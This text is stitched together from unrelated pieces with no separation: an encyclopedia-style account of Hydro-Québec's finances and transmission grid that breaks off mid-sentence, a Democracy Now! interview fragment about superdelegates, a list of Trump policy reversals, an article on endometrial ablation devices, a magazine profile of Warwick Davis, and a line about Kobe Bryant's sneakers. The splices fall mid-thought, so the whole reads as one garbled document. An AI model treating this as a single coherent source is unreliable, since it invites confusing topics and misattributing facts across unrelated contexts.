Hydro-Québec has created separate business units dealing with the generation, transmission, distribution and construction. In 2017, production division generated 1.9B $ of net income (68.4%), transmission division 0.55B$ (19.4%), distribution division 0.33B $ (11.7%), and construction division did not generate any income. Hydro-Quebec redistributes all profits back to the government. In 2017, the crown corporation contributed $4 billion to the Quebec government by means of net income ($2.8B), royalties ($0.7B), public utilities tax ($0.3B) and debt securities ($0.2B).[21]
In the year 2000 with the adoption of Bill 116, which amended the Act respecting the Régie de l'énergie,[22] to enact the functional separation of Hydro-Québec's various business units. Legislation passed in 2000 commits the generation division, Hydro-Québec Production, to provide the distribution division, Hydro-Québec Distribution, a yearly heritage pool of up to 165 TWh of energy plus ancillary services—including an extra 13.9 TWh for losses and a guaranteed peak capacity of 34,342 MW[23]—at a set price of 2.79¢ per kWh. Order in council 1277-2001 specifies quantities to be delivered for each of the 8,760 hourly intervals, which vary from 11,420 to 34,342 MW.[24]
According to the 2017 annual report the workforce stood at 19,786 employees, both permanent and temporary workers. And, a total of 1,304 employees were hired.[25]
Financial results [ edit ]
Financial performance 2010-2017 (as of October 14,2018)
Millions of C$[27][28][29][30][31][32][33] 2017 2016 2015 2014 2013 2012 2011 2010 Revenue 13,468 13,339 13,754 14,652 12,881 12,228 12,392 12,484 Net income 2,846 2,861 3,147 3,380 2,942 860 2,611 2,515 Dividends declared 2,135 2,146 2,360 2,535 2,207 645 1,958 1,886 Total assets 75,730 75,167 75,199 74,890 73,110 70,517 69,637 65,809 Long-term debt 43,825 44,218 43,613 43,579 44,477 42,555 42,050 38,660 Equity 19,755 19,704 19,475 17,961 19,394 18,982 18,834 18,566
For the year ending on December 31, 2017, Hydro-Québec recorded revenues of $13.4 billion. An increase of 0.97%.(Year-To-Date) Hydro-Quebec has assets of $75.73 billion. Net income was $2.84 billion, decreasing by $20 million. This decrease in profit was attributed to a new earning-sharing mechanism (ESM), an agreement between Hydro-Quebec and the Régie de l'Énergie. The sole purpose of the deal is to share earnings with Quebec residents only if the return-on-equity (ROE) exceeds the authorised (ROE) level. Furthermore, the profit margin was 21.1%. The crown corporation was able to self-financing at a 66.6% rate, meaning that it was able to generate near two-thirds of all cash needed to finance operations from its income. Total expenditures amounted to $8.1 billion in 2017 are were made of electricity and fuel purchases ($2B), depreciation on property, plant and equipment ($2.69B), taxes ($1.07B) and financial expenses ($2.5B).[34]
Hydro-Quebec is credit-rated by Moody's, Standard & Poor and Fitch Ratings. The ratings of the issued long-term debt, or bonds, were AA2, AA- and AA- respectively. In 2017, Hydro-Quebec issued $1.2 billion of long-term bonds to the Quebec Government. Also, dividends payable, or cash payouts paid to the Quebec's government, totalled $2.13 billion in 2017.[35]
Privatization debate [ edit ]
In 1981, the Parti Québécois government redefined Hydro-Québec's mission by modifying the terms of the social pact of 1944. The government issued itself 43,741,090 shares worth C$100 each, and the amended statute stated that Hydro-Québec would now pay up to 75% of its net earnings in dividends. This amendment to the Hydro-Québec Act started an episodic debate on whether Hydro-Québec should be fully or partially privatized. In recent years, economist Marcel Boyer and businessman Claude Garcia—both associated with the conservative think tank The Montreal Economic Institute—have often raised the issue, claiming that the company could be better managed by the private sector and that the proceeds from a sale would lower public debt.[38]
Without going as far as Boyer and Garcia, Mario Dumont, the head of the Action démocratique du Québec, briefly discussed the possibility of selling a minority stake of Hydro-Québec during the 2008 election campaign.[40] A Léger Marketing poll conducted in November 2008 found that a majority of Quebec respondents (53%) were opposed to his proposal to sell 7.5% of the company's equity to Quebec citizens and businesses, while 38% were in favor.[41]
Commenting on the issue on Guy A. Lepage's talk show, former PQ Premier Jacques Parizeau estimated that such an idea would be quite unpopular in public opinion, adding that Hydro-Québec is often seen by Quebecers as a national success story and a source of pride.[42] This could explain why various privatization proposals in the past have received little public attention. The liberal government has repeatedly stated that Hydro-Québec is not for sale.[43]
Like many other economists,[44][45] Yvan Allaire, from Montreal's Hautes études commerciales business school, advocate increased electricity rates as a way to increase the government's annual dividend without resorting to privatization.[46] Others, like columnist Bertrand Tremblay of Saguenay's Le Quotidien, claim that privatization would signal a drift to the days when Quebec's natural resources were sold in bulk to foreigners at ridiculously low prices. "For too long, Tremblay writes, Quebec was somewhat of a banana republic, almost giving away its forestry and water resources. In turn, those foreign interests were exporting our jobs associated with the development of our natural resources with the complicity of local vultures".[47]
Left-wing academics, such as UQAM's Léo-Paul Lauzon and Gabriel Sainte-Marie, have claimed that privatization would be done at the expense of residential customers, who would pay much higher rates. They say that privatization would also be a betrayal of the social pact between the people and its government, and that the province would be short-selling itself by divesting of a choice asset for a minimal short term gain.[48][49]
Activities [ edit ]
Power generation [ edit ]
The Daniel-Johnson Dam on the Manicouagan River, supplying the Manic-5 hydro plant.
Hydro-Québec sources of energy supply (2013)[50] Hydro (96.8%) Other Renewables (2.9%) Nuclear (0.2%) Thermal (0.1%)
On December 31, 2013, Hydro-Québec Production owned and operated 61 hydro plants—including 12 of over a 1,000 MW capacity— 26 major reservoirs. These facilities are located in 13 of Quebec's 430 watersheds, including the Saint Lawrence, Betsiamites, La Grande, Manicouagan, Ottawa, Outardes, and Saint-Maurice rivers.[53] These plants provide the bulk of electricity generated and sold by the company.
Non-hydro plants included the baseload 675-MW gross Gentilly nuclear generating station, a CANDU-design reactor which was permanently shut down on December 28, 2012[54] the 660-MW Tracy Thermal Generating Station, a heavy fuel oil-fired plant shutdown in March 2011[55] and two gas turbine peaker plants, for a total installed capacity of 36,971 MW in 2011. Hydro-Québec's average generation cost was 2.11 cents per kWh in 2011.
The company also purchases the bulk of the output of the 5,428-MW Churchill Falls generating station in Labrador, under a long term contract expiring in 2041. In 2009, Hydro-Québec bought the 60% stake owned by AbitibiBowater in the McCormick plant (335 MW), located at the mouth of the Manicouagan River near Baie-Comeau, for C$616 million.
In 2013, the energy sold by Hydro-Québec to its grid-connected customers in Quebec and exported to neighboring markets came almost exclusively from renewable sources. Hydro (96.78%) is by far the largest source, followed by wind (2.16%) and biomass, biogas and waste (0.75%). The remainder came from nuclear (0.19%) and thermal (0.12%) generation. Emissions of carbon dioxide (1,130 tonnes/TWh), sulfur dioxide (4 tonnes/TWh) and nitrogen oxides (10 tonnes/TWh) were between 49 and 238 times lower than the industry average in northeastern North America. Imported electricity bought on the markets account for most of these emissions.[50]
Transmission system [ edit ]
The Micoua substation on the North Shore of Quebec. This facility converts 315 kV power coming from five hydro plant to 735 kV. This TransÉnergie facility is one of the main nodes of the 11,422-kilometre (7,097 mi) long 735 kV network.
Hydro-Québec's expertise at building and operating a very high voltage electrical grid spreading over long distances has long been recognized in the electrical industry.[61] TransÉnergie, Hydro-Québec's transmission division, operates the largest electricity transmission network in North America. It acts as the independent system operator and reliability coordinator for the Québec interconnection of the North American Electric Reliability Corporation system, and is part of the Northeast Power Coordinating Council (NPCC). TransÉnergie manages the flow of energy on the Quebec network and ensures non-discriminatory access to all participants involved in the wholesale market.[62] The non-discriminatory access policy allows a company such as Nalcor to sell some of its share of power from Churchill Falls on the open market in the State of New York using TransÉnergie's network, upon payment of a transmission fee.[63][64]
In recent years, TransÉnergie's Contrôle des mouvements d'énergie (CMÉ) unit has been acting as the reliability coordinator of the bulk electricity network for Quebec as a whole, under a bilateral agreement between the Régie de l'énergie du Québec and the Federal Energy Regulatory Commission of the United States.[65]
TransÉnergie's high voltage network stretches over 33,630 km (20,900 mi), including 11,422 km (7,097 mi) of 765 and 735 kV lines, and a network of 514 substations. It is connected to neighbouring Canadian provinces and the United States by 17 ties, with a maximum reception capacity of 10,850 MW[note 2] and a maximum transmission capacity of 7,994 MW.[67]
Interconnections [ edit ]
A rectifier at the Outaouais substation, located in L'Ange-Gardien. The 1,250 MW back-to-back HVDC tie links the Quebec grid with Ontario's Hydro One network.
The TransÉnergie's network operates asynchronously from that of its neighbours |
members of the Hunt Commission, as well. She expressed concern about the division that a system of superdelegates might create, saying, quote, “you raise the question of creating different castes of delegates potentially, delegates which are chosen essentially by voters’ decisions for candidates in primaries or caucuses, and a different caste of delegates who in fact are exempt from that process and in fact carry on their own by a different set of standards … It gets you into a question of how those processes relate, and it gets to an essential question of legitimacy.”
JESSICA STITES: Yeah, she was really prescient, because that is exactly the criticism of superdelegates today. And it’s—they’re very unpopular, and there really is a movement rising up to say, “Why should the Democratic Party have this sort of final deciding vote instead of listening to the will of the people?”
AMY GOODMAN: So, talk about superdelegates in relation now to Bernie Sanders and Hillary Clinton.
JESSICA STITES: Sure. Well, what’s so interesting—and we’re seeing this especially after the results this morning—is that neither of them are on track to a decisive victory based only on primaries and caucuses. So, they would need to get 2,383 pledged delegates coming out of that process in order to just be the nominee. And that means superdelegates will matter at the convention. They will be the ones who ultimately tip someone over the edge.
And what we’re seeing from Sanders is this kind of fascinating pivot. So he was initially very much against superdelegates, because they had given Hillary Clinton this incredible momentum starting out in the race, which I think is the main criticism of superdelegates, is they give someone a sort of unfair advantage by making it look like they’re already ahead before the race begins. But now Sanders is saying, “Well, you’ve got this class of people who are supposed to be making sure the Democratic Party has a winning candidate. That’s their reason for being.” And that was very much what we saw in the transcripts, was, you know, if something should happen midstream and the candidate that is the front-runner in the primaries and caucuses looks like they can’t win—you know, maybe they have a scandal—we want to be able to correct that. And so, Sanders is saying, “Well, something unexpected happened: Donald Trump is the nominee of the Republican Party. Democrats need to react to that, and I am polling better than Hillary Clinton against Donald Trump in some key states.” He was talking about, I think, Georgia in that clip, but he’s—that’s happening in Ohio, which is a really important, obviously, state. And so that’s his case to the superdelegates, is, “Well, if you have this weird system where you can trump the popular vote, isn’t this the time to use it?”
AMY GOODMAN: And the move to reform the superdelegate system? Do you see this all changing?
JESSICA STITES: You know, that—that’s a great question right now. So Sanders is no longer talking about that, because he’s trying to court the superdelegates. But I don’t think it’s off the table at all. We had an op-ed actually run along with our cover story, by Larry Cohen, who is the former president of the Communication Workers of America but also a senior adviser to the Sanders campaign. And he is calling very strongly for the—at the convention, for the Democrats to abolish or reform the superdelegate system. And I think there’s definitely a faction within the Sanders campaign that wants that.
AMY GOODMAN: Can you talk, Rick Perlstein, about how the Democrats and their process compares to the Republicans?
RICK PERLSTEIN: They’re similar. They—when the Democrats reformed their system, you know, between 1968 and 1972, it was kind of seen as this was the direction history was going: more democracy, you know, less smoke-filled rooms. So, a system in both parties that had been kind of mostly caucuses and conventions and some primaries became mostly primaries and then some caucuses and conventions.
AMY GOODMAN: What happened in Nevada? Can you, Jessica Stites, talk about what we just saw? I mean, there’s a police line in front of the stage?
JESSICA STITES: Yeah. I think that—
AMY GOODMAN: And, Rick, would you like to weigh in on that?
JESSICA STITES: Yeah.
RICK PERLSTEIN: Well, I mean, you know, we saw—we saw the footage. It was a very contested convention. The Clinton folks say the Sanders folks knew the rules in advance and then complained when the rules didn’t advantage them. The Sanders folks say that basically we have an establishment that’s trying to assert their powers. I think, when I look back historically, I see the attempts to exacerbate these divisions as possibly a strategy of Donald Trump and the Republicans. He has an ally named Roger Stone, who was part of Watergate. The whole strategy of Watergate all through 1972 was to create divisions that were based in real divisions, but to exacerbate them. So, like a Roger Stone-type figure would steal letterhead from one of the Democratic candidates, write a letter accusing another Democratic candidate of cheating, and then get that out to the media. Right? So, the idea is, if Democrats can’t get back together in the general election, then the Democrats can’t win. Now, these divisions are real, and the anger is real, but the exploitation of it is very similar to kind of what the FBI did in COINTELPRO. They take real divisions and try and turn them into divisions that make it impossible for people to work together. So we need to be careful about that.
AMY GOODMAN: Roger Stone is the source on so many of the National Enquirer stories against—
RICK PERLSTEIN: That’s right. That’s right. My next article is about how—
AMY GOODMAN: —against Ted Cruz.
RICK PERLSTEIN: Yeah, Donald Trump partakes of a reactionary tradition within gossip politics, something like the National Enquirer. I actually have a document in which Michael Deaver, Ronald Reagan’s longtime aide, tries to pitch Ronald Reagan as a columnist for the National Enquirer in 1975. So there’s a continuity there.
AMY GOODMAN: Back to Hunt Commission. Your final observations, Jessica Stites, as you dug into the documents and your reporter did? It was named after?
JESSICA STITES: Oh, Hunt, he was a former governor, I think, and he was chairing the—no, is that wrong, Rick? You’re making history faces.
RICK PERLSTEIN: No, I think so. No, no, I think it was a South Carolina maybe.
JESSICA STITES: I believe so. That sounds right.
RICK PERLSTEIN: But that was kind of it: He was a Southerner, right?
JESSICA STITES: Yes. He was chairing the commission. You know, I think superdelegates are not the only thing wrong with our electoral process. And one of the great things about kind of opening the door to questioning superdelegates, which are a pretty easy reform for the Democratic Party to make if they so choose, is, what else is wrong? Why are so few Americans voting in our general election?
AMY GOODMAN: I mean, we’re talking about less than 80 percent—no, more than 80 percent of people are not voting in the primaries and caucuses.
JESSICA STITES: Yeah, and that is a real problem. And there are things that can be done to address that. I mean, Rob Richie of FairVote has, I think, a great proposal, which is have one nationwide primary on one day—one person, one vote—and that will decide the Democratic candidate. So, there are things we can do, and it doesn’t—this is just a party process. This does not require changing the Constitution.
AMY GOODMAN: Well, I want to thank you both for being with us, Jessica Stites of In These Times, which is based here in Chicago, and Rick Perlstein, a Chicago-based reporter who reports for The Washington Spectator. And we’re going to link to all your reports at democracynow.org.
This is Democracy Now!, democracynow.org, The War and Peace Report. When we come back, we’re going to look at what’s been happening with police here in Chicago and the mayor, Rahm Emanuel. Stay with us.President Trump and his new BFF, NATO Secretary General Jens Stoltenberg.
President Trump had spent much of his first 83 days in office attempting to roll back his predecessor’s initiatives. On Wednesday, he shifted focus and spent the day rolling back his own. Trump reversed course, flip-flopped, or reneged on at least five of his own promises and policy initiatives in one day. At least, that’s how many we found.
1. Whether NATO is worth saving: After repeatedly declaring NATO “obsolete” as both a candidate and president-elect, Trump met with Secretary General Jens Stoltenberg Wednesday and came away with a new perspective. He likes NATO now because they made a “change,” but experts say that change wasn’t really much of a change at all.
2. Whether the federal government should hire new workers: On his third day as president, Trump signed an executive order freezing the hiring of new federal workers outside of the military. This was the fulfillment of a campaign promise to “reduce [the] federal workforce through attrition” and, presumably, a part of Steve Bannon’s plan to “deconstruct the administrative state.” On Wednesday, the freeze melted.
3. Whether the U.S. Export-Import Bank should exist: Candidate Trump on the export lending agency in August 2015: “I don’t like it because I don’t think it’s necessary.”
President Trump on the Export-Import Bank in April 2017: “It’s a very good thing.”
4. Whether China is a currency cheat: Labeling China a currency manipulator was supposed to happen on Trump’s first day in office. Instead, on day 83, he told the WSJ, “They’re not currency manipulators.”
5. Whether Janet Yellen is a good Fed chair: In that same WSJ interview Trump softened his position on Fed chairwoman Janet Yellen. In May of 2016, he said he would “most likely replace her,” and in September, during a debate, he said she should be “ashamed of herself.” Now he says, “I like her, I respect her.” As far as his future plans for her, he would only say, “It’s very early.”Endometrial ablation is an outpatient medical procedure that is used to remove (ablate) or destroy the endometrial lining of the uterus in women who have heavy menstrual bleeding. Endometrial ablation should never be performed on women who wish to have children.[1]
Endometrial ablation is most often employed in women who suffer from excessive menstrual bleeding, who have failed medical therapy and do not wish to undergo a hysterectomy. Heavy menstrual bleeding is most commonly due to dysfunctional uterine bleeding or adenomyosis. The procedure is almost always performed as an outpatient treatment, either at the hospital, ambulatory surgery center, or physician office. The Endometrial Ablation procedure is primarily performed while patients are under local and/or light sedative anesthesia, or if necessary, general or spinal anesthesia. Patients normally leave the treatment facility within one hour following the procedure and generally spend one day resting at home, before returning to the activities of daily living.
After the procedure, the endometrium heals by scarring over, thus reducing or eliminating future uterine bleeding. The patient's hormonal functions will remain unaffected because the ovaries are left intact. Placenta accreta may occur if the patient becomes pregnant after endometrial ablation, so birth control is necessary.
Depending on the treatment that is chosen, endometrial ablation is sometimes conducted after treatment with hormones, such as norethisterone or Lupron to reduce the thickness of the endometrium.[2]
Risks [ edit ]
Although rare, the procedure can have serious complications including:
Sterilization [ edit ]
Women who wish to become pregnant should not undergo endometrial ablation; pregnancy is rare (less than 2 percent) and can have mortal risks for the mother and child.[1]
Effectiveness [ edit ]
The U.S. Food and Drug Administration (FDA) approves and audits clinical studies to test and evaluate the effectiveness of all endometrial ablation treatments. Two patient effectiveness outcomes are measured at one year following treatment: 1.) Success Rate = the % of women who have their bleeding reduced to a normal period level or less, and 2.) Amenorrhea Rate = the % of women that have their bleeding completely eliminated. According to the results of the Randomized Controlled Trials performed for the FDA approval of the different treatment options, effectiveness Success Rates range from a high of 93% to a low of 67%, and the Amenorrhea Rates range from a high of 72% to a low of 22%.[3]
Treatment options [ edit ]
A number of treatment options are available. They all work by destroying (ablating) the endometrium, the lining of the uterine cavity. [4]
The NovaSure – Endometrial Ablation System (Hologic), FDA approved in 2001, utilizes a metallized mesh electrode array that is introduced into the uterine cavity, applying bipolar electrical energy that creates heat to ablate (destroy) the endometrium. The Novasure average procedure time is 5 minutes from device insertion to removal and is usually performed under local and/or conscious sedation anesthesia. Most patients leave the treatment center within one hour of treatment. In the Novasure Randomized Controlled Trial for FDA approval, the Success Rate was 78% (bleeding reduced to a normal or less level) and Amenorrhea Rate was 36% (bleeding completely eliminated). In addition, 92% of the Novasure patients were Satisfied.
The Minerva – Endometrial Ablation System (Minerva Surgical), FDA approved in July 2015, is the first new FDA-approved surgical treatment for heavy menstrual bleeding in over 15 years. Minerva works by generating heat from plasma energy that is created and contained inside a leak-proof ablation array that takes the shape of the uterine cavity. The hot membrane surface of the array ablates (destroys) the endometrium. The Minerva procedure is the fastest FDA approved treatment, average procedure time is 3.1 minutes from device insertion to removal, and is usually performed under local and/or conscious sedation anesthesia. Most patients leave the treatment center within one hour of treatment. In the Minerva Randomized Controlled Trial for FDA approval, the Success Rate was 93% (bleeding reduced to a normal or less level) and Amenorrhea Rate was 72% (bleeding completely eliminated). In addition, 95% of the Minerva patients, "Would recommend Minerva to a family member or friend") and 92% of the patients were Satisfied.
The Genesys HTA – Hydro-Thermal Ablation System (Boston Scientific), FDA approved in 2001, uses a hysteroscope device which is inserted into the uterus through the cervical canal, to help doctors safely confirm proper probe placement and to see the area they are treating. In this procedure, the doctor looks at the inside of the uterus with the hysteroscope and then fills the uterus with saline fluid. The fluid is then slowly heated and the lining of the uterus is burned so that menstrual bleeding periods become less heavy and, in some cases, even stops. The fluid is then cooled and removed by special tubing to protect the external areas of the body from any burns. The average procedure time is 26 minutes. In the HTA Randomized Controlled Trial for FDA approval, the Success Rate was 68% (normal or less bleeding) and Amenorrhea Rate was 35% (bleeding completely eliminated). 94% of the HTA patients were Satisfied.[5]
The Her Option – Endometrial Ablation System (Cooper Surgical), FDA approved in 2001, is a treatment that creates sub-zero temperatures to freeze and ablate the endometrium. Following the application of local anesthetic around the cervix, a physician uses ultrasound to guide the placement of a cryoprobe to the right uterine horn (cornua). The cryoprobe is activated, reducing its temperature to minus 60°C. The cryoprobe is kept in place while ice is formed in the uterine cavity, under ultrasound observation. Once the appropriate time has passed and/or the appropriate depth of ice has been achieved, the cryoprobe is warmed to 37°C. The cryoprobe is then repositioned to the untreated left uterine horn and the procedure is repeated. Finally, the cryoprobe is warmed and removed. In the Her Option Randomized Controlled Trial for FDA approval, the Success Rate was 67% (bleeding reduced to a normal or less level) and Amenorrhea Rate was 22% (bleeding completely eliminated). In addition, 86% of the Her Option patients were Satisfied.
Transcervical Resection of the Endometrium (TCRE) or Loop Resection with Rollerball Ablation as it is commonly called, utilizes a hysteroscope, through which a bi-polar radio frequency electrocautery cutting loop is deployed to resect (remove) the superficial endometrium, followed by a bi-polar radio frequency rollerball tool to ablate the remaining underlying endometrium via cauterization.[6] It is a proven procedure,[7] being a day-care procedure with rapid recovery.[8]
The 'Thermachoice III '- balloon (Johnson and Johnson), FDA approved in 1997, was taken off the market in December 2015. This system utilized a heated saline filled balloon which was inserted into the uterine cavity to ablate the endometrium. The fluid was safely contained in a flexible and non-allergenic Silastic membrane that conformed to most uterine cavity shapes and sizes.
Older methods utilize hysteroscopy to insert instruments into the uterus to destroy the lining under visualization using a laser, or microwave probe.
See also [ edit ]Having transformed from a successful but anonymous rent-a-goblin actor into the host of two primetime ITV shows, Britain’s most famous dwarf says he has plenty to be thankful for. So can he pass it on?
“Well, as you get older, it gets worse,” Warwick Davis says, swinging his legs off the edge of his seat. “Your joints, for a start. My hips are dislocated, so they’re sitting out here. Very painful knees. I had surgery on my feet when I was very young. There’s a risk of retinal detachment, but I know the signs now. And then, yeah, you wake up, the alarm goes, it takes a good half hour to get moving, we’re both like, ‘Uggggh.’ Imagine the worst flu you’ve had, every day – it’s like that.”
Davis is speaking in a hotel room in Canary Wharf in London, a few minutes from the O2 Arena, where he’ll shortly head as an honoured guest of ITV at the National Television Awards. He’s half-ready, in braces and smart trousers, and, as he runs through his fairly gruesome list, he fumbles with the zip on the back of his wife Sam’s dress. Sam also has dwarfism. In her case, it’s caused by a condition called achondroplasia; in his, it’s the much rarer, and mercifully abbreviated, spondyloepiphyseal dysplasia congenita (SED). She nods as he goes on. “With my elbow at the minute,” he says, “it will lock” – he holds his left arm in a stiff salute to demonstrate – “and then I’ll have to rotate it to be able to straighten it again, like” – he brings the arm down, turns it, and I’m sure there’s a queasy click – “that. You look at somebody with dwarfism, the first thing that strikes you is probably that they’re short, and that’s it. But that’s the tip of the iceberg. It gets worse. Could be a cleft palate, hearing loss – or you end up in a wheelchair.”
It’s possible that this recitation has left me looking a little dazed, because Davis fixes his eyes on me with some concern and grins. “It’s not ‘get out the violin’,” he says. “I mean, I’m not one for doctors. GP once a year. Unless it’s really broken, I don’t agree with fixing it. Nature figures it out.” Even accepting this slightly dubious medical theory, it’s a hell of a list. It isn’t even the worst thing that the Davis family have faced as a result of their genetic circumstances, not by a long way: two sons, George and Lloyd, died as babies. Their other children, Annabelle and Harrison, face the same health problems as their parents. Life, it is safe to say, has not been easy.
And so I’m a little amazed when, a few minutes later, I ask Davis if he is a religious person and he says, with what seems like a genuine sense of wonder, “My life, and Sam’s as well, there are so many fortuitous things that occur – it can’t be a coincidence.”
It depends, I guess, on what you choose to focus on. And it’s true that, by many measures, Warwick Davis’s life has been touched with the most extraordinary luck. His big break came in 1982, when he was 12: the actor playing lead Ewok Wicket in Return of the Jedi fell ill, and George Lucas plucked him from the serried Ewok ranks as a replacement. (He’s back in JJ Abrams’s Star Wars reboot, but he’s not allowed to talk about it.) Since then, he has enjoyed a sustained and successful acting career, albeit, as he says, “pretty anonymously, because all the stuff I was playing was behind masks and prosthetics and things” – variously as a leprechaun, a goblin and an android. Then, in 2011, playing a rather unfamiliar version of himself as an arrogant and disgruntled actor in Ricky Gervais’s Life’s Too Short, his face became familiar, and then ubiquitous. At the age of 39, he became properly famous.
Facebook Twitter Pinterest ‘These past couple of years, the doors just seem to have been thrown open wide’ … Davis with his wife, Samantha, son Harrison and daughter Annabelle. Photograph: Can Nguyen/Rex
Since then, it has sometimes feels as if he’s become television’s designated dwarf, the closest British analogue to Game of Thrones’s Peter Dinklage, able to play roles defined by something other than his height while his fellow short actors remain confined to horror and pantomime. He’s branched out into presenting, too, hosting primetime ITV entertainment like Celebrity Squares and now Planet’s Got Talent, his orthodox geniality lifted by a hint of Gervaisean side-eye. The channel appears to have decided that he is a good and popular thing. Meanwhile, as part of BBC Two’s revival of its highly regarded Modern Times strand, he is the subject of a documentary following his attempt to put on a touring show featuring only short actors in mainstream parts that make no reference to their height, perhaps in the hope of expanding his club beyond a membership of one.
It’s a moment, and he’s making the most of it, but it’s striking that when he talks about how life has changed he articulates it as an opportunity granted, rather than seized: maybe that’s how it feels when the limits on your professional life have always been external, less to do with what you can do than how people see you. “These past couple of years, the doors just seem to have been thrown open wide,” he says. “When I present Celebrity Squares, I fully appreciate that I’ve been allowed to do that – when I think of all the doors I’ve knocked on, and now people are saying, yeah, all right, Warwick, you can host this show.”
Gratitude notwithstanding, the most striking thing about Warwick Davis’s attitude to fame is that he barely seems to have noticed it. He is just as unsentimental about public recognition as he is about his health, and just as clear-eyed about the limited usefulness of letting it become a preoccupation. He’s just normal. So many celebrities try to create this impression – with accounts of how firmly their feet are planted on the ground, childhood friends, tucking into the least healthy thing on the menu, all that – that I fear this will seem credulous, but with Davis there’s no trace of affectation about it.
“Annoying, isn’t it,” he grumbles, as he works his way through room-service chips and a mozzarella and tomato panini, “that when you ask for a cheese sandwich they can’t just give you a cheese sandwich?” And there’s the story he tells about a trip alone to McDonald’s where he had to jump up and down, and eventually ask a passer-by to activate the sensor above the automatic doors. The most striking thing about this is not the well-worn anecdote of the complexities of life with SED, but the fact that this is a successful TV star of 44 who goes to McDonald’s on his own.
Facebook Twitter Pinterest Warwick Davis (centre, in dog collar) and the Reduced Height Theatre Company, who feature in a forthcoming BBC2 documentary. Photograph: BBC/Love Productions
“There’s just no grandiosity at all,” says Ursula Macfarlane, the documentary maker who followed Davis for Modern Times. “When we were travelling, we’d stay in Premier Inns together, and when he was on tour in England he would drive back after the show whenever he could to take his kids to school in the morning. I think it’s a really conscious thing. They don’t want to live in a different sort of world, perhaps because they’re different anyway – they want to say, we’re like everybody else.” Perhaps, too, it’s because, as Sam points out in the film, the family gets photographed even when Warwick isn’t around: for someone whose whole life has been spent drawing attention, the culture shock of celebrity isn’t nearly so sharp.
That comes through in everything. Consider the deeply pleasurable Weekend Escapes with Warwick Davis, a series that followed the family on the kind of holidays they like best: trips around Britain in a campervan, playing Monopoly when they stop for the night. We see Davis expressing real enthusiasm for a best stick competition at the Lakeland Country Fair, and there’s no way he’s faking it.
Or consider the domestic set-up, in which only the kitchen is altered in deference to the family’s size. “We don’t get any help,” Sam says. “We’re stubborn.” Davis changes the lightbulbs, waiting until four or five blow before getting out the ladder; the operation to move the washing machine, as he describes it, was a jerry-rigged triumph familiar to anyone with a dad who considers himself a bit handy. “We were scratching our heads, but I’d seen this documentary about the building of Stonehenge,” he says with relish, “and I was like, they used rollers! So we got all this dowelling out of the garage, laid it out, the machine’s rolling along, we’re taking the pieces of wood from one end to the other as it goes; took us a good hour longer than it would have anyone else. But we achieved it.”
He’s not rich, either, he’s at pains to point out – certainly not rich enough to feel comfortable turning work down. “It annoys me that everyone thinks actors are all loaded,” he says. “I don’t have credit cards, I don’t believe in spending it unless you’ve got it. In my line of work, if you don’t get a job to pay it off, you’re in trouble.”
In the Modern Times film, the worry that seems to eat at Davis most of all is not the dramatic success of the production, nor even the health of Sam, who undergoes a dangerous operation in the course of filming and is told she could be at risk of paralysis; it’s the financial burden that the show brings with it. Putting it on took all of the family’s savings; if the production is a failure, they could lose their home. “We’re used to hospitals,” Davis says. “But goodness me, you wouldn’t believe how much it costs to put on a play. Every ten pounds starts to matter. You become so tight, because everything you spend equates to another ticket sale.”
Facebook Twitter Pinterest Johnny Depp and Warwick Davies in the BBC sitcom Life’s Too Short. Photograph: Ray Burmiston/BBC
We see this most clearly, and most affectingly, in Davis’s determination that the play – a classic farce – be staged on a set that’s cut down to the cast’s proportions. As they look around their second-hand 1940s drawing room, the rest of the production team feel it’s too expensive, a waste of time. “It would look odd,” one of them says reasonably. “Not in full ratio with everything else. It would have to be so small.” There’s a pause, and Davis replies, “But then you could say we’re too small for it as well.” Davis is not, in general, an uncompromising man, but later he comes back to the prop store on his own and oversees a team of carpenters painstakingly making it work, this creation of a world in perfect proportion, so at odds with his own home. How much did it cost, I wonder? “Ten grand,” he says, looking a bit pained. “Ten grand’s worth more tickets you have to sell. But it was worth it.”
The stated aim of the production is for the audience to forget the height of the cast within the first five minutes. But the idea of mainstream height-blind casting is still pretty implausible. It struck me as practically useful that the play in question was a farce, neutralising the danger of laughter at the wrong moments. As Andrew Solomon, author of Far from the Tree, a remarkable study of the complexities of family life with “difficult” children, observes of his time reporting on dwarfism, “Dwarves have to deal, more than people in any other disability group, with the perception of themselves as comical. I found that when I had gone to a dwarf convention and came back and talked about it: people who were full of empathy for other conditions... all immediately needed to make jokes.”
Next up, Davis plans a murder mystery. Does he see a risk of a cruel snigger at a bad moment? Could there ever be a dwarf Lear? “It’s an interesting debate,” he says. “I love the roles that I’ve played, and many of them have been necessarily short. I’m very proud of everything I’ve done, even the Leprechaun movies. But yes, it would be lovely to have short actors do roles where it was just incidental. Years ago, yes, we needed explanation. But I think we’re a bit more sophisticated now.”
I wonder if he could ever see himself successfully pitching a sitcom in which his size is more or less irrelevant. “It would be brilliant to throw a curveball and steer away totally from height jokes,” he says. “But the thing is, that’s not the way I live. I seize the opportunity to make a joke. I’m amused by it myself.”
Facebook Twitter Pinterest Davis with Val Kilmer in the 1988 fantasy film Willow. Photograph: Sportsphoto/Allstar/Cinetext
You might think that this no-nonsense position hides some deeper disquiet. Not a bit of it, says Ursula Macfarlane. “In the film, some of the other members of the cast talked quite deeply about it all. But they have very different life experiences. That’s just not Warwick. He’s thought about it, he’s articulate about it, he gets asked the same questions – but he and his family are the most positive people I’ve ever met. I don’t think it’s masking something else.”
When I talked to Davis, I approached this basic question – of luck and fairness and whether he feels blessed or hard-done-by – several times. None of the answers felt especially illuminating: instead, he speaks in aphorisms that explain little, but are highly effective as tools for living. He and Sam have simply decided to be happy. Even when they remember Lloyd and George, says Sam, they think about the time they did have, not the time they didn’t. “You have a choice, don’t you?” she says. “Let’s use it to make our family stronger, closer. Life is for living.”
“Being angry,” says Davis, “would be a waste of time. A waste of the life that you do have. Yes, between the two of us, I suppose there are moments where sometimes, we just go, aargh – everything is that little bit more difficult. But I only get angry about twice a year.”
And what about the way the topic dominates the conversation? What about the fact that, even now, even as an established star, a game show host, a comedian and an actor and producer, an interview like this will always turn back, in the end, to a genetic accident? “Well,” Davis says, puffing out his lower lip and shrugging. “It’s my USP, isn’t it?” And, after all, it’s working out pretty well. He uses his bad arm to describe the arc of his career to date. “My life’s like a graph,” he says. “And it’s going up and up and up.”
Modern Times: Warwick Davis’s Big Night is on BBC Two on 5 February at 9pmMichael Jordan gave Kobe Bryant a sneaker sendoff last year, commemorating the Black Mamba's retirement by gifting him a huge set of exclusive Air Jordans. Apparently they are Bryant's no longer though—later this month, an auction house is putting the full set of retros from 1 to 30 up for sale.
